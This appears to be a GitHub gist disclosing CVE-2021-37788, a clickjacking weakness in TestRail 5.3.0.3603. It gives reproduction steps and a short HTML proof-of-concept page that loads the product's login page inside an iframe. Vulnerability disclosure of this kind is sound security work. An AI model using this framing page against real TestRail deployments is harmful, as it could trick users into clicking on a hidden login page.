Skip to content

Instantly share code, notes, and snippets.

@rvismit
Last active Aug 13, 2021
Embed
What would you like to do?
CVE-2021-37788
Product : TestRail
CVE : CVE-2021-37788
Version : 5.3.0.3603
Vulnerability : Improper Restriction of Rendered UI Layers or Frames
Vulnerability Description : A vulnerability in the web UI of Gurock TestRail could allow an unauthenticated, remote attacker to affect the integrity of a device via a clickjacking attack. The vulnerability is due to insufficient input validation of iFrame data in HTTP requests that are sent to an affected application. An attacker could exploit this vulnerability by sending crafted HTTP packets with malicious iFrame data. A successful exploit could allow the attacker to perform a clickjacking attack where the user is tricked into clicking a malicious link.
#Steps to Reproduce
1). Create a html file with <anyname>
2). Put This code <iframe src="http://ip/index.php?/auth/login/l" height="550px" width="700px"></iframe>
3). Now save the file and launch on browser.
PoC:
<!DOCTYPE HTML>
<html lang="en-US">
<head>
<meta charset="UTF-8">
<title>I Frame</title>
</head>
<body>
<h3>clickjacking vulnerability</h3>
<iframe src="http://ip/index.php?/auth/login/" height="550px" width="700px"></iframe>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment